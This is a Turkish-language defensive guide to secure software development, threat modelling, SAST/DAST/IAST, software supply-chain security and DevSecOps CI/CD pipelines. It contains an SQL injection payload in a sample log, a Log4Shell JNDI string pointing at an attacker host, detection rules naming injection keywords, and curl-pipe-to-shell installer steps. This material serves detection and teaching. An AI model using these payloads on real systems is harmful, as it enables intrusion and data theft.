Güvenli Yazılım Geliştirme (SDLC), Kod Analizi (SAST/DAST) ve DevSecOps
Güvenli Yazılım Geliştirme (SDLC) ve DevSecOps
Bölüm başlığı “Güvenli Yazılım Geliştirme (SDLC) ve DevSecOps”Savunma derinliği mimarisinde uygulama katmanı, ağ perimetresi ve kimlik katmanı atlatıldığında saldırgan ile veri arasındaki son savunma hattıdır. CIS Controls v8 Kontrol 16 (Application Software Security) bunu açıkça ifade eder: saldırgan, ayrıntılı bir saldırı zinciri kurmak yerine doğrudan uygulamanın kendisini kullanarak veriyi ele geçirebilir. Günümüzde bu risk, SolarWinds, Log4Shell, XZ Utils ve Shai-Hulud gibi tedarik zinciri olaylarıyla kanıtlanmıştır; güvenlik artık sürüm sonuna sıkıştırılamaz, sola kaydırılmalı (Shift-Left) ve CI/CD boru hattına gömülmelidir.
Bu bölüm, NIST SP 800-218 (SSDF), OWASP SAMM, OWASP Top 10:2025, CIS Controls v8 ve ISO 27001:2022 çerçevelerinde güvenli SDLC, tehdit modelleme, SAST/DAST/IAST, tedarik zinciri savunması (SCA/SBOM/SLSA) ve DevSecOps otomasyonunu ele alır. Türkiye’de KVKK, 5651 ve BDDK yükümlülükleri operasyonel mimariyi doğrudan şekillendirir.
Shift-Left: güvenlik aktivitelerinin SDLC’nin soluna taşınması
§10.1.1.Sola Kaydırma (Shift-Left) ve Tehdit Modelleme
Bölüm başlığı “§10.1.1.Sola Kaydırma (Shift-Left) ve Tehdit Modelleme”Geleneksel SDLC’de güvenlik testleri kabul veya üretim öncesi aşamada yapılırdı. Bir kusurun düzeltilme maliyeti yaşam döngüsünde ilerledikçe katlanarak artar; tasarım aşamasında yakalanan bir zafiyet, üretimde düzeltilene kıyasla onlarca kat daha ucuzdur. Shift-Left, güvenlik gereksinimlerini, tehdit modellemeyi ve otomatik kontrolleri planlama ile kodlama aşamalarına çeker; merge ve deploy işlemlerini güvenlik kapıları (security gates) ile engeller.
NIST SP 800-218 (SSDF v1.1) bu felsefeyi dört uygulama grubuna ayırır:
| Grup | Açıklama | Shift-Left Karşılığı |
|---|---|---|
| PO | Organizasyonu hazırla | Güvenlik politikaları, eğitim, araç envanteri |
| PS | Yazılımı koru | SBOM, provenance, imzalama |
| PW | İyi güvenlikli yazılım üret | Tehdit modelleme, SAST, kod incelemesi |
| RV | Zafiyetlere yanıt ver | CVE triage, yama SLA, olay müdahale |
OWASP SAMM’de Design akışı (Threat Assessment, Security Requirements, Secure Architecture) aynı prensibi somutlaştırır.
Güvenli yazılım geliştirme yaşam döngüsü yol haritası
STRIDE ve PASTA Metodolojileri
Bölüm başlığı “STRIDE ve PASTA Metodolojileri”Tehdit modelleme, tasarım aşamasının kalbidir. İki temel metodoloji kurumsal ortamlarda yaygındır:
STRIDE (Microsoft, 1999): Model-merkezli yaklaşım. Veri Akış Diyagramı (DFD) üzerindeki her bileşene altı tehdit kategorisi uygulanır:
| Tehdit | Açıklama | Tipik Mitigasyon |
|---|---|---|
| Spoofing | Kimlik sahteciliği | MFA, OAuth 2.0/OIDC |
| Tampering | Veri kurcalama | TLS 1.3, HMAC, dijital imza |
| Repudiation | İnkar | Değişmez, zaman damgalı loglama |
| Information Disclosure | Bilgi ifşası | Şifreleme, alan-seviyesi yetkilendirme |
| Denial of Service | Hizmet reddi | Rate limiting, kaynak kotası |
| Elevation of Privilege | Yetki yükseltme | En az ayrıcalık, RBAC/ABAC |
PASTA (Process for Attack Simulation and Threat Analysis): Yedi aşamalı, risk-merkezli metodoloji. İş hedefleri ile teknik zafiyetleri birleştirir; saldırı simülasyonu ve skorlama içerir. STRIDE’a göre daha derin ve iş bağlamına oturur.
DREAD skorlaması (Damage, Reproducibility, Exploitability, Affected Users, Discoverability) tehditleri 1–10 arası puanlayarak önceliklendirir.
Örnek Senaryo: Fintech Ödeme API’si
Bölüm başlığı “Örnek Senaryo: Fintech Ödeme API’si”Tasarım aşamasında DFD çizilir; güven sınırı internet ile API Gateway arasındadır. STRIDE uygulandığında:
- Spoofing → zayıf JWT imza doğrulaması
- Tampering → istek gövdesinin değiştirilmesi
- Information Disclosure → fazla veri ifşası (excessive data exposure)
- Elevation of Privilege → BFLA ile admin endpoint erişimi
Her tehdit bir mitigasyon ile eşlenir (mTLS, imza doğrulama, alan-seviyesi yetkilendirme) ve SSDF PW.1 gereği gereksinim olarak kayıt altına alınır. BDDK Madde 20 kapsamında süreç denetlenebilir hale getirilir; KVKK kapsamında kişisel veri işleyen modüllerde ek input validation zorunlu kılınır.
Tehdit modelleme: tasarım aşamasında risklerin proaktif yönetimi
§10.1.2.Statik (SAST), Dinamik (DAST) ve Etkileşimli (IAST) Kod Analizi
Bölüm başlığı “§10.1.2.Statik (SAST), Dinamik (DAST) ve Etkileşimli (IAST) Kod Analizi”Uygulama güvenliği testleri (AST) birbirini tamamlayan katmanlar oluşturur. Tek başına hiçbir yöntem yeterli değildir; savunma derinliği üçünün stratejik kombinasyonunu gerektirir.
| Boyut | SAST | DAST | IAST |
|---|---|---|---|
| Analiz tipi | Beyaz kutu (kaynak kodu) | Kara kutu (çalışan uygulama) | Gri kutu (ajan + runtime) |
| SDLC konumu | IDE, PR, commit | Staging, pre-prod | Test/QA (enstrümantasyonlu) |
| Çalışan uygulama | Gerekmez | Gerekir | Gerekir |
| Yanlış pozitif | Yüksek | Orta/düşük | Çok düşük |
| Kör nokta | Runtime config, business logic | Test edilmeyen yollar | Yalnızca tetiklenen yollar |
| Örnek araçlar | SonarQube, Semgrep, CodeQL | OWASP ZAP, Burp Suite | Contrast Security |
Saldırgan–savunma dengesi: Saldırgan, SAST’ın yakalayamadığı business logic zafiyetini veya DAST’ın tarayamadığı derin path’leri sömürür. Mavi takım katmanlı yaklaşım uygular: SAST ile PR’ları temiz tutar, IAST/DAST ile staging’de doğrular, üretimde WAF + SIEM korelasyonu ile kalan riski yönetir.
IAST ve Taint Analysis
Bölüm başlığı “IAST ve Taint Analysis”IAST ajanları JVM veya .NET CLR içine enjekte edilir (-javaagent:iast-agent.jar). Taint Analysis mekanizması güvenilmeyen kaynaklardan (HTTP parametreleri, cookie) gelen veriyi “lekeli” işaretler; sanitizasyon geçmeden kritik sink’e (SQL execute, Runtime.exec) ulaşırsa anında raporlar. Bu, SAST’ın yüksek yanlış pozitifini ve DAST’ın kod satırı eksikliğini telafi eder.
NIST SSDF PW.7 (statik analiz) ve PW.8 (dinamik analiz/fuzz) bu üçünü kapsar. Pratik varsayılan entegrasyon:
- Her PR’da SAST (Semgrep/SonarQube)
- Staging’de DAST (zamanlanmış + sürüm tetikli)
- Test kapsamı iyi olan modüllerde IAST
- Seçili üretim servislerinde RASP (performans testi + geri alma planıyla)
Semgrep 4.000+ kuralını OWASP Top 10:2025 eşlemesine güncellemiştir; örneğin OS Command Injection kuralı A05:2025 - Injection ile etiketlenir.
RASP: Çalışma Anındaki Son Savunma Hattı
Bölüm başlığı “RASP: Çalışma Anındaki Son Savunma Hattı”RASP (Runtime Application Self-Protection), üretim ortamında çalışan uygulamanın içine gömülü ajan veya kütüphane ile gerçek zamanlı saldırı engelleme sağlar. SAST’ın statik analizi, DAST’ın dış testi ve IAST’ın QA ortamı doğrulamasının ardından RASP, canlı trafikte exploit girişimlerini bloklar.
| Özellik | RASP | WAF |
|---|---|---|
| Konum | Uygulama process’i içinde | Ağ/edge katmanında |
| Bağlam | Tam kod ve runtime bağlamı | HTTP isteği/yanıtı |
| Business logic | Kısmen görür | Göremez |
| Performans etkisi | Orta-yüksek | Düşük-orta |
| Dağıtım | Seçili kritik servisler | Tüm public trafik |
RASP, WAF’ın kaçırdığı business logic saldırılarını veya şifreli trafik içindeki uygulama-seviyesi anomalileri tamamlar. Ancak her servise RASP eklemek performans ve operasyonel karmaşıklık yaratır; PCI DSS veya BDDK kapsamındaki ödeme/kimlik servisleri önceliklendirilir.
Bulgu Yönetimi ve Triyaj
Bölüm başlığı “Bulgu Yönetimi ve Triyaj”Birden fazla güvenlik aracından gelen bulgular DefectDojo, Jira veya ServiceNow üzerinde birleştirilir. Triyaj süreci:
- Otomatik deduplication: Aynı CVE’nin SAST + SCA + container taramasında tekrarlanması
- Severity + exploitability: CISA KEV, EPSS skoru, exploit PoC varlığı
- Asset kritikliği: Üretim / PII işleyen / internet-facing öncelik
- SLA atama: Critical 24s, High 7g, Medium 30g
SOC entegrasyonu: açık zafiyet + exploit attempt korelasyonu (ör. Log4Shell CVE’si açıkken ${jndi: log pattern’i).
SOC Entegrasyonu: SQL Injection Tespiti
Bölüm başlığı “SOC Entegrasyonu: SQL Injection Tespiti”Ofansif senaryo: saldırgan ?q=' UNION SELECT null, username, password FROM users -- gönderir. Nginx erişim logu:
192.168.10.45 - - [20/Jun/2026:14:32:10 +0300] "GET /api/v1/search?q=%27%20UNION%20SELECT%20null%2C%20username%2C%20password%20FROM%20users%20-- HTTP/1.1" 200 4096Sigma kuralı (platform bağımsız):
title: Web Sunucu Erişim Loglarında SQL Enjeksiyonu Tespitistatus: stablelogsource: category: webserverdetection: selection: url|contains: - 'union select' - 'or 1=1' - 'xp_cmdshell' condition: selectionlevel: criticalWazuh özel kural (/var/ossec/etc/rules/local_rules.xml):
<group name="web,app_security,"> <rule id="100051" level="12"> <match>select|union|concat|xp_cmdshell|--</match> <description>Kritik SQL Enjeksiyonu Saldırı Girişimi.</description> <mitre><id>T1190</id></mitre> </rule></group>HTTP 200 yanıtı, zafiyetin başarıyla istismar edilmiş olabileceğine işaret eder; olay “Kritik” öncelikle sınıflandırılır (NIST SP 800-61).
§10.1.3.Yazılım Tedarik Zinciri Güvenliği, SCA ve SBOM
Bölüm başlığı “§10.1.3.Yazılım Tedarik Zinciri Güvenliği, SCA ve SBOM”Modern uygulamaların %70–90’ı açık kaynak bileşenlerden oluşur. OWASP Top 10:2025’te en çarpıcı yapısal değişiklik, “A06 Vulnerable Components” kategorisinin A03:2025 - Software Supply Chain Failures olarak genişletilmesidir. Topluluk anketinde katılımcıların %50’si bunu birincil endişe olarak işaretledi; en yüksek exploit/impact skoruna sahiptir.
SCA (Software Composition Analysis), bağımlılıkları NVD, OSV ve GitHub Advisory veritabanlarıyla tarar. SBOM (Software Bill of Materials) bu sürecin makine-okunur envanter çıktısıdır.
SBOM: yazılımın “içindekiler listesi” ve zafiyet yönetimi
SBOM Formatları
Bölüm başlığı “SBOM Formatları”| Kriter | CycloneDX | SPDX |
|---|---|---|
| Geliştirici | OWASP / Ecma-424 | Linux Foundation / ISO 5962 |
| Odak | Güvenlik, zafiyet, otomasyon | Lisans, telif, yasal uyum |
| VEX desteği | Yerleşik | Harici profiller |
| Kapsam | SBOM, CBOM, HBOM, SaaSBOM | Paketler, lisanslar, ilişkiler |
Araç zinciri (açık kaynak):
- Syft: konteyner imajı ve dosya sisteminden SBOM üretir
- Grype: SBOM’u CVE veritabanlarıyla eşler
- Trivy: tarama + SBOM üretimi
- OWASP Dependency-Track: SBOM kalıcı veritabanı, sürekli yeniden değerlendirme
- Cosign / Sigstore: artifakt ve SBOM imzalama
- VEX: “bu CVE ürünümüzü gerçekten etkiliyor mu?” sorusunu standart biçimde yanıtlar
# Temel SBOM akışısyft packages dir:./build/libs -o cyclonedx-json > sbom.jsongrype sbom:./sbom.json --fail-on highCISA KEV (Known Exploited Vulnerabilities) kataloğu önceliklendirmede en üst sinyaldir.
Vaka Çalışmaları
Bölüm başlığı “Vaka Çalışmaları”1. SolarWinds / SUNBURST (Aralık 2020): Saldırganlar build sistemini ele geçirdi. SUNSPOT enjektörü MsBuild.exe sürecini izleyerek Orion derlenirken kaynağı değiştirdi. İmzalama sistemi trojanlı kodu imzaladı. Yaklaşık 18.000 müşteri trojanlı sürümü indirdi; ancak fiilen ele geçirilen müşteri sayısı resmi açıklamaya göre 100’den azdı. Savunma dersi: build ortamı bütünlüğü, SLSA provenance, üç heterojen build ortamı.
2. Log4Shell / CVE-2021-44228 (CVSS 10.0): ${jndi:ldap://attacker.com/a} loglandığında RCE. SOC tespiti: loglarda ${jndi:} dizesi, 389/636 portlarına anormal LDAP bağlantıları. Yama: 2.16.0+.
3. XZ Utils / CVE-2024-3094: “Jia Tan” iki yıl güven inşa edip liblzma’ya SSH backdoor yerleştirdi. Andres Freund’un performans anomalisi araştırmasıyla keşfedildi. Savunma dersi: maintainer güven modeli, build-time davranış analizi.
4. Shai-Hulud npm solucanı (2025): preinstall aşamasında çalışan, Bun runtime kullanan, kendini çoğaltan kampanya. 700+ npm paketi, 27.000+ zararlı GitHub deposu, ~14.000 sızdırılmış secret. Savunma: npm ci + lockfile, scoped token, preinstall denetimi, registry proxy/SCA.
OWASP ASVS ve Güvenlik Gereksinimleri
Bölüm başlığı “OWASP ASVS ve Güvenlik Gereksinimleri”OWASP ASVS (Application Security Verification Standard) 4.0, uygulama güvenliği gereksinimlerini üç doğrulama seviyesinde tanımlar:
| Seviye | Kapsam | Tipik Kullanım |
|---|---|---|
| L1 | Temel savunma | Düşük riskli dahili uygulamalar |
| L2 | Standart kurumsal | Çoğu internet-facing uygulama |
| L3 | Maksimum güvenlik | Finans, sağlık, kritik altyapı |
ASVS gereksinimleri tehdit modelleme çıktılarıyla eşleştirilerek Security Requirements Traceability Matrix (SRTM) oluşturulur. BDDK kapsamındaki finansal uygulamalar genellikle ASVS L2+ hedefler.
Container ve IaC Güvenliği
Bölüm başlığı “Container ve IaC Güvenliği”CI/CD pipeline’ında uygulama kodunun yanı sıra altyapı tanımları da taranmalıdır:
# Terraform güvenlik taramasıcheckov -d ./terraform --framework terraform --check HIGH,CRITICAL
# Kubernetes manifest taramasıtrivy config ./k8s/manifests/SLSA v1.0 Çerçevesi ve Kriptografik Tedarik Zinciri Bütünlüğü
Bölüm başlığı “SLSA v1.0 Çerçevesi ve Kriptografik Tedarik Zinciri Bütünlüğü”Yazılım artifaktlarının (container imajları, binary dosyalar, kütüphaneler) kaynağından derleme anına kadar manipüle edilmediğini kanıtlamak için SLSA (Supply-chain Levels for Software Artifacts) v1.0 standardı benimsenmelidir. SLSA, SolarWinds tarzı derleme ortamı zehirlenmelerine karşı artifaktın menşeini (provenance) şifreli olarak belgeler.
flowchart LR
subgraph Geliştirme["1. Kaynak Kod"]
Git["Git Commit<br/>Branch Protection + 2FA"]
end
subgraph Derleme["2. İzole Derleyici (SLSA L3)"]
Runner["Geçici (Ephemeral) Runner<br/>Hermetik Derleme"]
Fulcio["Sigstore Fulcio<br/>Kısa Ömürlü OIDC Sertifikası"]
Rekor["Sigstore Rekor<br/>Append-only Transparency Log"]
end
subgraph Artifakt["3. Paket & İmza"]
Image["Container İmajı"]
SBOM["Syft SBOM (CycloneDX)"]
Attest["in-toto Provenance"]
end
subgraph Dağıtım["4. Kubernetes Kümesi"]
Kyverno["Kyverno Admission Controller<br/>cosign verify + attest zorunlu"]
Pod["Çalışan Pod"]
end
Git --> Runner
Runner --> Fulcio
Fulcio --> Rekor
Runner --> Image
Runner --> SBOM
Runner --> Attest
Image --> Kyverno
Attest --> Kyverno
Kyverno -->|İmza Doğrulandı| Pod
Kyverno -.->|İmzasız / Geçersiz| Blok["DENY (Giriş Engellendi)"]
SLSA v1.0 Derleme Seviyeleri (Build Track)
Bölüm başlığı “SLSA v1.0 Derleme Seviyeleri (Build Track)”| Seviye | Tanım | Gereksinimler | Engellenen Tehdit |
|---|---|---|---|
| Build L1 | Temel Menşe Kanıtı | Derleme sürecinin otomatik olması ve build platformu tarafından üretilen temel provenance belgesi. | Manuel hatalar, kayıtsız sürümler. |
| Build L2 | Kurcalamaya Dirençli | Barındırılan (hosted) derleme servisi; derleyicinin kendi kimliğiyle imzaladığı provenance; parametrelerin kullanıcı tarafından ezilememesi. | Geliştirici makinesinde sahte imaj üretip derlenmiş gibi gösterme. |
| Build L3 | Üst Düzey Güvenilirlik | İzole ve geçici (ephemeral) ortamlar: her derleme temiz bir VM/konteynerde başlar; hermetik derleme: derleme anında dış internet erişimi engellenir; yeniden üretilebilirlik (reproducible). | Derleme sunucusuna sızmış APT veya trojanlı derleyiciler (SUNSPOT / SolarWinds). |
Sigstore Ekosistemi ve Parolasız (Keyless) İmzalama
Bölüm başlığı “Sigstore Ekosistemi ve Parolasız (Keyless) İmzalama”Geleneksel PGP ve statik özel anahtar tabanlı imzalama modellerinde anahtar sızıntısı ve anahtar yönetimi felaketle sonuçlanır. Sigstore, parolasız (keyless) imzalama paradigmasıyla bu sorunu çözer:
- Fulcio: Derleme motorunun OIDC kimliğini (örn. GitHub Actions
id-token) doğrular ve yalnızca 10-15 dakika geçerli kısa ömürlü bir X.509 kod imzalama sertifikası üretir. - Cosign: Kısa ömürlü özel anahtarla container imajını ve SBOM’u imzalar; ardından özel anahtarı bellekten siler.
- Rekor: İmzayı, sertifikayı ve hash değerini genel veya kurumsal özel şeffaflık günlüğüne (Merkle tree) yazar. İmzalanan artifaktın geçmişi geriye dönük silinemez veya değiştirilemez.
# GitHub Actions — Cosign Keyless İmzalama ve SBOM Attestationname: Build and Sign Containeron: push: tags: ['v*']
permissions: contents: read packages: write id-token: write # Sigstore OIDC kimlik doğrulaması için zorunlu
jobs: build-and-sign: runs-on: ubuntu-latest steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # Commit SHA ile pinleme
- name: Cosign Kurulumu uses: sigstore/cosign-installer@dc72c7d5c4d10cd6bcb8cf6e3fd625a9e5e537da
- name: Syft Kurulumu (SBOM Üretici) uses: anchore/sbom-action/download-syft@f325610c9f50a54015d37c8d16cb3b0e2c8f4de0
- name: Container Build & Push id: build run: | IMAGE_URI="ghcr.io/${{ github.repository }}:${{ github.ref_name }}" docker build -t "$IMAGE_URI" . echo "${{ secrets.GITHUB_TOKEN }}" | docker login ghcr.io -u ${{ github.actor }} --password-stdin docker push "$IMAGE_URI" DIGEST=$(docker inspect --format='{{index .RepoDigests 0}}' "$IMAGE_URI") echo "digest=$DIGEST" >> $GITHUB_OUTPUT
- name: Keyless Container İmzalama run: | cosign sign --yes "${{ steps.build.outputs.digest }}"
- name: SBOM Üret ve Attest Et (in-toto) run: | syft "${{ steps.build.outputs.digest }}" -o cyclonedx-json > sbom.json cosign attest --yes --type cyclonedx --predicate sbom.json "${{ steps.build.outputs.digest }}"Kubernetes Kümesinde Kyverno ile İmza ve SBOM Doğrulama
Bölüm başlığı “Kubernetes Kümesinde Kyverno ile İmza ve SBOM Doğrulama”Kümeye deploy edilecek container imajlarının doğrulanması için Kyverno Admission Controller kullanılır:
# Kyverno ClusterPolicy — İmzalı İmaj ve SBOM Zorunluluğu (DEFANSİF)apiVersion: kyverno.io/v1kind: ClusterPolicymetadata: name: check-image-signatures annotations: pod-policies.kyverno.io/autogen-controllers: DaemonSet,Deployment,Job,StatefulSetspec: validationFailureAction: Enforce webhookTimeoutSeconds: 30 rules: - name: verify-sigstore-signature match: any: - resources: kinds: - Pod verifyImages: - imageReferences: - "ghcr.io/kurum-repo/*" attestors: - entries: - keyless: issuer: "https://token.actions.githubusercontent.com" subject: "https://github.com/kurum-repo/*" rekor: url: "https://rekor.sigstore.dev" attestations: - type: https://cyclonedx.org/schema conditions: - all: - key: "{{ regex_match('^1\\.[4-6]$', schemaVersion) }}" operator: Equals value: trueCI/CD Boru Hattı Zehirlenmesi (Pipeline Poisoning) Savunmaları
Bölüm başlığı “CI/CD Boru Hattı Zehirlenmesi (Pipeline Poisoning) Savunmaları”Saldırganların CI/CD altyapılarına yönelik yöntemlerine karşı şu katı kontroller uygulanmalıdır:
- Bağımlılık Karışıklığı (Dependency Confusion): Dahili kurumsal paket isimleri (örn.
@sirket/auth-lib), açık npm veya PyPI sunucularına saldırganlar tarafından daha yüksek sürüm numarasıyla yüklenerek kurumsal derleyicilerin harici zararlı paketi çekmesi sağlanır. Savunma: Scoped namespace kullanımı (@sirket/), dahili artifact repository’de (Nexus, Artifactory) harici proxy kurallarının kısıtlanması. - Değişmez Action Pinning: GitHub Action’larında
@v4gibi hareketli git tag’leri yerine doğrudan 40 karakterlik Commit SHA kullanılmalıdır (uses: actions/checkout@11bd71...). Tag manipülasyonu ile bir üçüncü parti action ele geçirilse dahi pipeline zehirlenemez. - Geçici ve İzole Runner: Runner ortamları her derleme sonrası imha edilmeli; derleme sürecinin host Docker socket’ine (
/var/run/docker.sock) erişimi engellenmelidir.
§10.1.4.CI/CD Pipeline’a Güvenlik Otomasyonu (DevSecOps)
Bölüm başlığı “§10.1.4.CI/CD Pipeline’a Güvenlik Otomasyonu (DevSecOps)”DevSecOps, güvenliği yavaşlatmadan sola kaydırır. Amaç: geliştirici hızını korurken otomatik güvenlik kapıları koymaktır. NIST SP 800-218 (SSDF) PW.7 (statik analiz), PW.8 (dinamik analiz) ve PS.1 (yazılım bütünlüğü) bu pipeline’ın teorik çerçevesini oluşturur; OWASP SAMM Implementation ve Verification akışları ise olgunluk ölçütlerini tanımlar.
DevSecOps: güvenlik kontrollerinin CI/CD boru hattına entegrasyonu
Referans Pipeline Mimarisi (Çok Aşamalı)
Bölüm başlığı “Referans Pipeline Mimarisi (Çok Aşamalı)”Aşağıdaki mimari, SAST → SCA → Build → DAST → Deploy → Runtime izleme katmanlarını tek boru hattında birleştirir. Her aşama fail-fast prensibiyle yapılandırılır: Critical/High bulgu pipeline’ı durdurur.
flowchart LR
Plan["PLAN<br/>STRIDE Tehdit Modeli · ASVS"]
Code["CODE / PR<br/>Semgrep/SonarQube · Gitleaks · Checkov"]
Build["BUILD<br/>Grype/SBOM · Cosign İmza"]
Test["TEST<br/>OWASP ZAP · Contrast IAST"]
Deploy["DEPLOY<br/>Admission Control · Canary Deploy"]
Run["RUN<br/>RASP · Wazuh/SIEM"]
Plan --> Code --> Build --> Test --> Deploy --> Run
┌─────────────────────────────────────────────────────────────────────────────┐│ DEVSECOPS REFERANS PIPELINE │├─────────────────────────────────────────────────────────────────────────────┤│ PLAN │ Threat model (STRIDE) + ASVS gereksinimleri + policy-as-code│├──────────────┼──────────────────────────────────────────────────────────────┤│ CODE │ IDE SAST (SonarLint) + pre-commit (Gitleaks, Semgrep) │├──────────────┼──────────────────────────────────────────────────────────────┤│ PR/MR │ SAST (Semgrep/SonarQube) + Secret scan + IaC (Checkov) │├──────────────┼──────────────────────────────────────────────────────────────┤│ BUILD │ SCA (Grype/Snyk) + SBOM (Syft/CycloneDX) + Unit test │├──────────────┼──────────────────────────────────────────────────────────────┤│ PACKAGE │ Container scan (Trivy) + Cosign imzalama + SLSA provenance │├──────────────┼──────────────────────────────────────────────────────────────┤│ TEST/STAGE │ DAST (ZAP baseline/full) + IAST (Contrast) + API fuzz │├──────────────┼──────────────────────────────────────────────────────────────┤│ DEPLOY │ Kyverno admission (imzalı imaj) + smoke test + canary │├──────────────┼──────────────────────────────────────────────────────────────┤│ RUN │ RASP (seçili servisler) + WAF + SIEM korelasyon + Falco │└─────────────────────────────────────────────────────────────────────────────┘SAST Entegrasyon Örnekleri
Bölüm başlığı “SAST Entegrasyon Örnekleri”Semgrep — Özel kural dosyası (.semgrep.yml):
rules: - id: sql-injection-raw-query patterns: - pattern: $DB.execute(f"... {$VAR} ...") - pattern: $DB.raw($QUERY) message: "OWASP A05:2025 — SQL Injection riski: parametreli sorgu kullanın" severity: ERROR languages: [python, java] metadata: owasp: "A05:2025" cwe: "CWE-89"
- id: hardcoded-secret pattern-regex: '(api[_-]?key|password|secret)\s*=\s*["\'][^"\']{8,}["\']' message: "Hardcoded secret tespit edildi — ortam değişkeni veya Vault kullanın" severity: ERROR languages: [generic]SonarQube Quality Gate (API üzerinden):
# SonarScanner çalıştırma ve quality gate beklemesonar-scanner \ -Dsonar.projectKey=my-app \ -Dsonar.sources=src/ \ -Dsonar.host.url=https://sonar.internal.example.com \ -Dsonar.qualitygate.wait=true
# Quality gate başarısızsa pipeline durur (exit code != 0)SonarQube Quality Gate eşikleri (önerilen):
| Metrik | Eşik | Aksiyon |
|---|---|---|
| New Bugs | 0 | Build fail |
| New Vulnerabilities | 0 | Build fail |
| New Security Hotspots | 0 unreviewed | Build fail |
| Coverage on New Code | ≥ 80% | Warning |
| Duplicated Lines | ≤ 3% | Warning |
DAST Entegrasyon Örnekleri
Bölüm başlığı “DAST Entegrasyon Örnekleri”OWASP ZAP — Baseline vs Full Scan:
| Mod | Kapsam | Süre | Kullanım |
|---|---|---|---|
| Baseline | Pasif tarama + spider (sınırlı) | 5–15 dk | Her PR/MR |
| Full Scan | Aktif tarama + tüm spider | 30–120 dk | Sürüm öncesi / haftalık |
| API Scan | OpenAPI tanımından otomatik | 15–45 dk | API değişikliği sonrası |
ZAP Full Scan — Docker tabanlı CI entegrasyonu:
# OpenAPI tanımından API taramasıdocker run --rm -v $(pwd):/zap/wrk:rw \ -t ghcr.io/zaproxy/zaproxy:stable \ zap-api-scan.py -t https://staging.example.com/openapi.json \ -f openapi -r zap-api-report.html \ -c zap-rules.conf -J zap-api-report.json
# Full scan (aktif tarama — yalnızca staging)docker run --rm -v $(pwd):/zap/wrk:rw \ -t ghcr.io/zaproxy/zaproxy:stable \ zap-full-scan.py -t https://staging.example.com \ -r zap-full-report.html -J zap-full-report.json \ -x zap-full-report.xmlZAP bulgu eşikleri (pipeline gating):
# Yalnızca High ve Critical bulgular pipeline'ı durdururpython3 -c "import json, sysreport = json.load(open('zap-api-report.json'))high = sum(1 for s in report.get('site',[]) for a in s.get('alerts',[]) if a['riskcode'] in ('3','4'))sys.exit(1 if high > 0 else 0)"Azure DevOps Pipeline Örneği
Bölüm başlığı “Azure DevOps Pipeline Örneği”trigger: branches: [main, develop] paths: exclude: [docs/*, *.md]
stages: - stage: SecurityScan jobs: - job: SAST pool: { vmImage: 'ubuntu-latest' } steps: - task: SonarQubePrepare@6 inputs: SonarQube: 'SonarQube-Connection' scannerMode: 'CLI' configMode: 'manual' cliProjectKey: '$(Build.Repository.Name)' - script: | pip install semgrep semgrep --config=auto --error --json -o semgrep.json . displayName: 'Semgrep SAST' - script: | docker run --rm -v $(pwd):/src \ zricethezav/gitleaks:latest detect \ --source /src --redact --exit-code 1 displayName: 'Gitleaks Secret Scan' - task: SonarQubeAnalyze@6 - task: SonarQubePublish@6 inputs: pollingTimeoutSec: '300'
- job: SCA_SBOM dependsOn: SAST steps: - script: | curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh | sh -s -- -b /usr/local/bin syft packages dir:. -o cyclonedx-json > sbom.json curl -sSfL https://raw.githubusercontent.com/anchore/grype/main/install.sh | sh -s -- -b /usr/local/bin grype sbom:sbom.json --fail-on high displayName: 'SBOM + Grype SCA'
- job: DAST dependsOn: SCA_SBOM condition: eq(variables['Build.SourceBranch'], 'refs/heads/main') steps: - script: | docker run --rm -v $(pwd):/zap/wrk:rw \ ghcr.io/zaproxy/zaproxy:stable \ zap-baseline.py -t https://staging.example.com \ -J zap-report.json -x zap-report.xml displayName: 'OWASP ZAP Baseline' - task: PublishBuildArtifacts@1 inputs: PathtoPublish: 'zap-report.html' ArtifactName: 'ZAP-Report'Jenkins Pipeline Örneği (Declarative)
Bölüm başlığı “Jenkins Pipeline Örneği (Declarative)”pipeline { agent any environment { SONAR_TOKEN = credentials('sonar-token') DEFECTDOJO_URL = 'https://defectdojo.internal.example.com' } stages { stage('SAST') { parallel { stage('Semgrep') { steps { sh 'semgrep --config=p/owasp-top-ten --error -o semgrep.sarif .' } } stage('SonarQube') { steps { withSonarQubeEnv('SonarQube') { sh 'mvn sonar:sonar -Dsonar.qualitygate.wait=true' } } } } } stage('Secret Scan') { steps { sh 'gitleaks detect --source . --redact --exit-code 1' } } stage('SCA + SBOM') { steps { sh ''' syft packages dir:. -o cyclonedx-json > sbom.json grype sbom:sbom.json --fail-on high -o json > grype.json ''' } } stage('DAST') { when { branch 'main' } steps { sh ''' docker run --rm -v $PWD:/zap/wrk:rw \ ghcr.io/zaproxy/zaproxy:stable \ zap-baseline.py -t $STAGING_URL -J zap.json ''' } } stage('Publish to DefectDojo') { steps { sh ''' curl -X POST $DEFECTDOJO_URL/api/v2/import-scan/ \ -H "Authorization: Token $DD_API_KEY" \ -F "scan_type=Semgrep JSON Report" \ -F "file=@semgrep.sarif" \ -F "engagement=1" ''' } } } post { failure { emailext subject: "Pipeline FAILED: ${env.JOB_NAME}", body: "Güvenlik kapısı ihlali. Detay: ${env.BUILD_URL}", to: 'security-team@example.com' } }}OWASP SAMM ve SSDF Eşleştirmesi
Bölüm başlığı “OWASP SAMM ve SSDF Eşleştirmesi”| Pipeline Aşaması | NIST SSDF | OWASP SAMM | CIS v8 |
|---|---|---|---|
| Threat modeling | PW.1 | Design / Threat Assessment | 16.1 |
| SAST (PR) | PW.7 | Implementation / Code Review | 16.2 |
| Secret scan | PS.1 | Implementation / Secure Build | 16.5 |
| SCA + SBOM | PS.1, PS.2 | Verification / Dependency Mgmt | 16.4 |
| DAST (staging) | PW.8 | Verification / Security Testing | 16.2 |
| Container scan | PS.2 | Verification / Secure Deployment | 16.7 |
| Cosign + SLSA | PS.2 | Implementation / Secure Build | 16.5 |
| Runtime (RASP/WAF) | RV.1 | Operations / Environment Mgmt | 13, 16 |
SLSA (Supply-chain Levels for Software Artifacts)
Bölüm başlığı “SLSA (Supply-chain Levels for Software Artifacts)”| Seviye | Gereksinim | Kurumsal Hedef |
|---|---|---|
| L1 | Otomatik, script tabanlı build; temel provenance | Başlangıç |
| L2 | Hosted build service; imzalı provenance | Çoğu ekip |
| L3 | İzole ephemeral build; imza anahtarı script’ten ayrık | Üretim hedefi |
SLSA Level 3 pratik hedeftir: GitHub Actions OIDC token → Fulcio CA → kısa ömürlü sertifika → Rekor şeffaflık logu. slsa-github-generator, build job’ın imza anahtarına erişememesini sağlar.
Derinlemesine: SLSA L3 Provenance ve Sigstore Entegrasyonu
